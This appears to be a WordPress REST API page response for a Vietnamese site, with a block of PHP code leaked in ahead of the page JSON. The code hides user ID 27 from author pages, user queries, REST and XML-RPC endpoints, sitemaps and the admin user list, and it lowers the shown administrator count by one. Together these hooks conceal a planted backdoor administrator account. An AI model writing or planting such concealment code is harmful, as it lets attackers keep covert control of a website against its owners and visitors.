
add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 27;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 27 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 27 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 27;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 27;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 27;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/27(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 27;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-27{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":212,"date":"2022-09-21T12:55:13","date_gmt":"2022-09-21T05:55:13","guid":{"rendered":"https:\/\/taydoxanh.com\/?page_id=212"},"modified":"2022-09-21T13:09:09","modified_gmt":"2022-09-21T06:09:09","slug":"ho-phap-ly","status":"publish","type":"page","link":"https:\/\/taydoxanh.com\/en\/ho-phap-ly\/","title":{"rendered":"(Ti\u1ebfng Vi\u1ec7t) H\u1ed3 S\u01a1 Ph\u00e1p L\u00fd"},"content":{"rendered":"<p class=\"qtranxs-available-languages-message qtranxs-available-languages-message-en\">Sorry, this entry is only available in <a href=\"https:\/\/taydoxanh.com\/vi\/wp-json\/wp\/v2\/pages\/212\" class=\"qtranxs-available-language-link qtranxs-available-language-link-vi\" title=\"Ti\u1ebfng Vi\u1ec7t\">Ti\u1ebfng Vi\u1ec7t<\/a>.<\/p>","protected":false},"excerpt":{"rendered":"<p>Sorry, this entry is only available in Ti\u1ebfng Vi\u1ec7t.<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-212","page","type-page","status-publish","hentry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>(Ti\u1ebfng Vi\u1ec7t) H\u1ed3 S\u01a1 Ph\u00e1p L\u00fd - T\u00e2y \u0110\u00f4 Xanh<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/taydoxanh.com\/ho-phap-ly\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"(Ti\u1ebfng Vi\u1ec7t) H\u1ed3 S\u01a1 Ph\u00e1p L\u00fd - T\u00e2y \u0110\u00f4 Xanh\" \/>\n<meta property=\"og:description\" content=\"Sorry, this entry is only available in Ti\u1ebfng Vi\u1ec7t.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/taydoxanh.com\/ho-phap-ly\/\" \/>\n<meta property=\"og:site_name\" content=\"T\u00e2y \u0110\u00f4 Xanh\" \/>\n<meta property=\"article:modified_time\" content=\"2022-09-21T06:09:09+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/taydoxanh.com\/wp-content\/uploads\/2020\/12\/slider2-1.jpg\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data1\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/taydoxanh.com\\\/ho-phap-ly\\\/\",\"url\":\"https:\\\/\\\/taydoxanh.com\\\/ho-phap-ly\\\/\",\"name\":\"(Ti\u1ebfng Vi\u1ec7t) H\u1ed3 S\u01a1 Ph\u00e1p L\u00fd - T\u00e2y \u0110\u00f4 Xanh\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/taydoxanh.com\\\/#website\"},\"datePublished\":\"2022-09-21T05:55:13+00:00\",\"dateModified\":\"2022-09-21T06:09:09+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/taydoxanh.com\\\/ho-phap-ly\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/taydoxanh.com\\\/ho-phap-ly\\\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/taydoxanh.com\\\/ho-phap-ly\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/taydoxanh.com\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"H\u1ed3 S\u01a1 Ph\u00e1p L\u00fd\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/taydoxanh.com\\\/#website\",\"url\":\"https:\\\/\\\/taydoxanh.com\\\/\",\"name\":\"T\u00e2y \u0110\u00f4 Xanh\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/taydoxanh.com\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"(Ti\u1ebfng Vi\u1ec7t) H\u1ed3 S\u01a1 Ph\u00e1p L\u00fd - T\u00e2y \u0110\u00f4 Xanh","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/taydoxanh.com\/ho-phap-ly\/","og_locale":"en_US","og_type":"article","og_title":"(Ti\u1ebfng Vi\u1ec7t) H\u1ed3 S\u01a1 Ph\u00e1p L\u00fd - T\u00e2y \u0110\u00f4 Xanh","og_description":"Sorry, this entry is only available in Ti\u1ebfng Vi\u1ec7t.","og_url":"https:\/\/taydoxanh.com\/ho-phap-ly\/","og_site_name":"T\u00e2y \u0110\u00f4 Xanh","article_modified_time":"2022-09-21T06:09:09+00:00","og_image":[{"url":"https:\/\/taydoxanh.com\/wp-content\/uploads\/2020\/12\/slider2-1.jpg","type":"","width":"","height":""}],"twitter_card":"summary_large_image","twitter_misc":{"Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/taydoxanh.com\/ho-phap-ly\/","url":"https:\/\/taydoxanh.com\/ho-phap-ly\/","name":"(Ti\u1ebfng Vi\u1ec7t) H\u1ed3 S\u01a1 Ph\u00e1p L\u00fd - T\u00e2y \u0110\u00f4 Xanh","isPartOf":{"@id":"https:\/\/taydoxanh.com\/#website"},"datePublished":"2022-09-21T05:55:13+00:00","dateModified":"2022-09-21T06:09:09+00:00","breadcrumb":{"@id":"https:\/\/taydoxanh.com\/ho-phap-ly\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/taydoxanh.com\/ho-phap-ly\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/taydoxanh.com\/ho-phap-ly\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/taydoxanh.com\/"},{"@type":"ListItem","position":2,"name":"H\u1ed3 S\u01a1 Ph\u00e1p L\u00fd"}]},{"@type":"WebSite","@id":"https:\/\/taydoxanh.com\/#website","url":"https:\/\/taydoxanh.com\/","name":"T\u00e2y \u0110\u00f4 Xanh","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/taydoxanh.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"}]}},"_links":{"self":[{"href":"https:\/\/taydoxanh.com\/en\/wp-json\/wp\/v2\/pages\/212","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/taydoxanh.com\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/taydoxanh.com\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/taydoxanh.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/taydoxanh.com\/en\/wp-json\/wp\/v2\/comments?post=212"}],"version-history":[{"count":5,"href":"https:\/\/taydoxanh.com\/en\/wp-json\/wp\/v2\/pages\/212\/revisions"}],"predecessor-version":[{"id":224,"href":"https:\/\/taydoxanh.com\/en\/wp-json\/wp\/v2\/pages\/212\/revisions\/224"}],"wp:attachment":[{"href":"https:\/\/taydoxanh.com\/en\/wp-json\/wp\/v2\/media?parent=212"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}